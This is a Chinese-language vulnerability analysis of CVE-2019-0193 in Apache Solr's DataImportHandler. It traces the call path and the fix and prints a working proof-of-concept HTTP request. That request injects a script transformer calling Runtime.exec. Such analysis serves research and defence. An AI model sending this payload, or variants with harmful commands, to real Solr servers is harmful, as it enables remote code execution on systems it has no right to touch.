Apache Solr远程代码执行漏洞(CVE-2019-0193)

Posted by caiqiqi on 2019-11-03

原文:
https://mp.weixin.qq.com/s/typLOXZCev_9WH_Ux0s6oA

漏洞描述

Apache Solr是美国阿帕奇(Apache)软件基金会的一款基于Lucene(一款全文搜索引擎)的搜索服务器。该产品支持层面搜索、垂直搜索、高亮显示搜索结果等。
Apache Solr的DataImportHandler是一个可选但常用的模块,可从数据库(通过JDBC)、RSS、Web 页面和文件中导入数据。而且这个模块的配置文件不仅可以在服务端中通过配置文件指定,也可以从用户请求的dataConfig中获取。

The entire configuration itself can be passed as a request parameter using the dataConfig parameter rather than using a file.

而为了对数据进行转换,这个dataConfig中可以包含脚本。在Apache Solr < 8.2.0 的版本中, DataImportHandler的dataConfig参数为用户可控,攻击者可通过构造恶意的dataConfig脚本交由转换器(Transformers)进行解析,而Solr在解析的过程中并未对用户输入的脚本进行检查,导致攻击者可在Solr服务器上执行任意代码。

漏洞利用的前提条件是Solr有一个具有dataimport功能的core,这个功能需要在这个core对应的solrconfig.xml配置文件中指定requestHandler节点的class属性为solr.DataImportHandler,

且Solr未开启认证(默认未开启认证),在这种情况下,Solr Admin UI上的操作是不需要登录凭据的。

开启认证可通过编辑配置文件:
server/solr-webapp/webapp/WEB-INF/web.xml

参考:https://brandnewuser.iteye.com/blog/2318027

复现环境搭建

使用Solr 8.1.1进行复现。
复现环境中,配置文件内容如下,没有配置任何dataSource:

代码追踪

关键调用栈为:

transformRow:55, ScriptTransformer (org.apache.solr.handler.dataimport)
applyTransformer:222, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
nextRow:280, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport)
buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport)
doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport)
execute:233, DocBuilder (org.apache.solr.handler.dataimport)
doFullImport:424, DataImporter (org.apache.solr.handler.dataimport)
runCmd:483, DataImporter (org.apache.solr.handler.dataimport)
handleRequestBody:184, DataImportHandler (org.apache.solr.handler.dataimport)
handleRequest:199, RequestHandlerBase (org.apache.solr.handler)
execute:2566, SolrCore (org.apache.solr.core)
...
run:745, Thread (java.lang)

org.apache.solr.core.SolrCore#execute开始,

用户指定的dataConfig传入DataImportHandler

org.apache.solr.handler.dataimport.DataImportHandler#handleRequestBody中,
判断command参数,这里我们的请求是full-import,所以进入到这个else if中

importer.maybeReloadConfiguration(requestParams, defaultParams);

中,将用户输入的dataConfig内容传到DataImporter对象的私有成员变量config(DIHConfiguration)中(后续会用到)。

若用户指定了debug为true,执行

importer.runCmd(requestParams, sw);

用户没指定debug为true也没关系,会在后面的else if逻辑中,

在新线程执行runCmd方法。

DataImporter#runCmd中,判断command为full-import之后,执行

this.doFullImport(sw, reqParams);

关于Solr的delta-import和full-import功能参考:
http://www.zhongruitech.com/4016598944.html

继续跟进doFullImport,

接下来的过程是:

execute:233, DocBuilder (org.apache.solr.handler.dataimport)
=> doFullDump:330, DocBuilder (org.apache.solr.handler.dataimport)
=> buildDocument:415, DocBuilder (org.apache.solr.handler.dataimport)
=> buildDocument:476, DocBuilder (org.apache.solr.handler.dataimport)
=> nextRow:267, EntityProcessorWrapper (org.apache.solr.handler.dataimport)
=> nextRow:212, XPathEntityProcessor (org.apache.solr.handler.dataimport)
=> fetchNextRow:232, XPathEntityProcessor (org.apache.solr.handler.dataimport)
=> initQuery:291, XPathEntityProcessor (org.apache.solr.handler.dataimport)
=> getData:43, URLDataSource (org.apache.solr.handler.dataimport)

其中在DocBuilder#buildDocument过程中,需要对EntityProcessorWrapper进行初始化
EntityProcessorWrapper#init

在初始化的过程中,从Context里获取dataSource,

在DataImporter中,从DIHConfiguration中取DataSource:

拿到DataSource的类名之后,使用DocBuilder.loadClass载入这个DataSource类。在SolrResourceLoader#findClass
中,由于我们提供的URLDataSource不是全限定名,这里需要从一个列表中遍历查找待载入的全限定名的DataSource类,通过反射载入我们的URLDataSource类,然后新建其实例。

若未指定dataSource或者未找到dataSource,则会在日志中记录这个异常,无法执行我们的payload。

然后到了向url发起请求取HTTP数据的步骤,
URLDataSource#getData中,

由于访问url的过程中,存在默认的HTTP超时时间,超时后,会抛出异常,无法执行payload。为了避免访问URL的时候出现超时导致无法执行后续步骤的情况,这里可以将url中的RSS换成一个国内的源。

向用户指定的document的entity节点中的url发起请求。

=> nextRow:267, EntityProcessorWrapper (org.apache.solr.handler.dataimport)

这一行出来之后,
调用

applyTransformer(arow),


PS:看方法名字,大概意思是应用这个转换器,这里应该就是对成功拿到数据之后做的操作了。 跟进一下,

先载入转换器,在loadTransformers()

若指定的转换器名以script:开头,则意味着使用脚本转换器(否则略过这个if流程,直接进入下面执行指定转换器的流程),则将script:后面的函数名取出,并将这个函数名设置为脚本转换器(ScriptTransformer)要执行的函数名。

脚本转换器允许使用Java支持的语言(比如Javascript, JRuby, Jython, Groovy, or BeanShell)编写任意转换函数,其中Javascript语言已默认集成在Java中了,使用其他语言的话需要自己整合。
每个转换函数都
必须接收一个row变量(与Java中的Map类型对应,所以是支持get、put、remove等操作的),函数的功能是修改已知field的值,或者添加新的fields。处理完之后,将row对象作为返回值返回。
这个脚本会以最高级别插入到DIH配置文件中,每个row会调用一次。

参考:
https://cwiki.apache.org/confluence/display/solr/DataImportHandler#DataImportHandler-ScriptTransformer#


在载入ScriptTransformer这个转换器之后,
执行

ScriptTransformer#transformRow(transformedRow, context)

在52行,先初始化脚本引擎initEngine(context)
initEngine方法中,会从context中取出脚本的语言,和具体代码。这里执行这段js代码,由于这里只是js的函数定义,所以并没有真正执行在函数中的payload。

在55行,最后调用javax.script.Invocable#invokeFunction执行我们指定的poc函数。

Demo

PoC

这个PoC是从一个RSS站点取数据,然后取到之后调用poc函数,使用js调用java方法。关于使用js调用java参考:
https://www.ibm.com/support/knowledgecenter/en/SSHS8R_8.0.0/com.ibm.worklight.dev.doc/devref/t_calling_java_code_from_a_javas.html

这里指定处理器(processor)为XPathEntityProcessor,这个类是对抽象类EntityProcessor的一个实现,根据访问url得到的xml内容,通过xpath解析器从xml文档中抽取需要的内容。它通常与URLDataSourceFileDataSource结合使用。而可用的DataSource有以下几种:

  • ContentStreamDataSource
  • FieldReaderDataSource
  • FileDataSource
  • JdbcDataSource
  • URLDataSource

如果使用JdbcDataSource,需要jdbc驱动,且需要提供一个登录数据库的用户名密码。于是我们选择了不需要额外凭据的URLDataSource作为DataSource,配合XPathEntityProcessor

The XPathEntityprocessor is designed to stream the xml, row by row (Think of a row as various fields in a xml element ). It uses the forEach attribute to identify a ‘row’.

参考:
https://cwiki.apache.org/confluence/display/solr/DataImportHandler#DataImportHandler-ScriptTransformer#

从前面的分析来看,既然只是看transformer中的值是否以script:开头,那么其实可以这样写poc,直接在script节点里调用js代码就好了,不用写成一个函数。另外发现其实还有几个不必要的参数,又精简了一下poc如下:

POST /solr/new_core/dataimport HTTP/1.1
Host: cqq.com:8983
Content-Length: 453
Content-type: application/x-www-form-urlencoded
Connection: close
command=full-import&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[ java.lang.Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
]]></script>
<document>
<entity name="a"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:" />
</document>
</dataConfig>

然后这个core的名字new_core视实际情况而定。需要发送一次请求:http://cqq.com:8983/solr/admin/cores获取。

漏洞修复

官方commit中,
https://github.com/apache/lucene-solr/commit/325824cd391c8e71f36f17d687f52344e50e9715


补丁增加了一个Java系统属性
enable.dih.dataConfigParam(默认为false)
只有启动solr的时候加上参数-Denable.dih.dataConfigParam=true 这样enable.dih.dataConfigParam系统属性才为true。

使用Solr 8.2.0验证漏洞修复情况。再发同样的payload,响应403,

因为在DataImportHandler#handleRequestBody中,抛出了异常。

参考